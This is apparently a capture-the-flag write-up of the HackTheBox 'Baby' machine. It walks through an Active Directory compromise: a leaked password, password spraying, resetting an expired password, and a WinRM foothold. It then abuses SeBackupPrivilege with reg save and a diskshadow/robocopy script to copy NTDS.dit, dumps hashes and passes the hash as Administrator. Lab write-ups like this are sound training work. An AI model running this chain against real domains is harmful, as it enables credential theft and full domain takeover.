We see we are facing a DC (Domain Controller) because of the open ports like 53 TCP (DNS)88 TCP (Kerberos)389 TCP (LDAP)
We can already see the domain using netexec so we can add it to our /etc/hosts file
Let's start off by enumerating DNS using dig
We can see also the fully qualified domain name of the DC
Now let's enumerate SMB on the target machine using a NULL Session in netexec
We see here that our access is blocked using in SMB, let's try LDAP using netexec again
We successfully enumerated some users on the DC and a potential credential Teresa.Bell:BabyStart123!
Password Spraying
As we found a bunch of users and password it is only natural to perform a password spraying attack on every user we found, let's use netexec again in order to do this, this time we will target the SMB service
And we see a different status on the Caroline.Robinson account: STATUS_PASSWORD_MUST_CHANGE
We can abuse this using smbpasswd , changing the targeted users password to a new password that we decide, in this case we will use BabyStarted123! for example:
Now we can check if this user has got any remote connection privilege, we will check winrm which is active on TCP 5985
Success! now we can foothold onto the machine
Foothold
Let's use the evil-winrm tool in order to get our foothold on the DC
Before using BloodHound to escalate our privileges, let's try to do some basic enumeration to see our current user's privileges
And we got a dangerous privilege!: SeBackupPrivilege we can perform a copy of the SAM, SYSTEM & NTDS which are sensitive databases that contain juicy hashes
Abusing SeBackupPrivilege
First, let's copy the SAM & SYSTEM onto our C:\Temp folder using reg. These registry hives contain:
SAM hive: Local Security Account Manager database with local user hashes
SYSTEM hive: System boot key needed to decrypt the SAM database
Now for the NTDS.dit - this is the Active Directory database file that contains all domain user hashes, but it's constantly locked by the LSASS process. We need to use Volume Shadow Copy Service (VSS) to create a snapshot while the file is in use.
First let's create a script on our attacker machine which we can further interpretate with diskshadow to make the backup of the NTDS
Save this into a script.txt file
What this script does:
Creates a shadow copy (snapshot) of the C: drive
Exposes it as E: drive temporarily
Uses backup context to bypass file locks
Then upload it to the DC
Why this works with SeBackupPrivilege:
Shadow copies allow reading locked files
Backup flag in robocopy uses SeBackupPrivilege to bypass ACLs
We get a clean copy of NTDS.dit without stopping AD service
Then let's use robocopy to copy the file into our C:\Temp folder
And there we have our three files that we will use to dump hashes!!:
Dumping hashes
Let's download the three files onto the attacker machine using evil-winrm'sdownload so we can use impacket-secretsdump and dump all the hashes
We know the second one it's the correct domain Administrator user so we will use the hash and PtH using evil-winrm to the DC, this time with the Administrator user
Conclusion
This attack chain demonstrates a classic Active Directory privilege escalation:
Privilege Discovery: Backup Operators group membership with SeBackupPrivilege
Credential Extraction: Shadow copy technique to dump NTDS.dit
Domain Compromise: Extract domain Administrator's hash for full domain control
The takeaway is that Backup Operators group membership is highly dangerous in Active Directory environments, as it allows attackers to extract the entire domain credential database through volume shadow copies, ultimately leading to complete domain compromise.
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Temp> reg save HKLM\SAM C:\Temp\sam.hive
The operation completed successfully.
*Evil-WinRM* PS C:\Temp> reg save HKLM\SYSTEM C:\Temp\system.hive
The operation completed successfully.
*Evil-WinRM* PS C:\Temp> dir
Directory: C:\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/24/2025 9:01 AM 49152 sam.hive
-a---- 10/24/2025 9:01 AM 20684800 system.hive
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX
upload script.txt
Info: Uploading /home/delorian/HackTheBox/Medium/Baby/content/script.txt to C:\Temp\script.txt
Data: 232 bytes of 232 bytes copied
Info: Upload successful!
diskshadow /s script.txt
robocopy /b E:\Windows\ntds . ntds.dit
*Evil-WinRM* PS C:\Temp> dir
Directory: C:\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/24/2025 8:20 AM 16777216 ntds.dit
-a---- 10/24/2025 9:01 AM 49152 sam.hive
-a---- 10/24/2025 9:05 AM 175 script.txt
-a---- 10/24/2025 9:01 AM 20684800 system.hive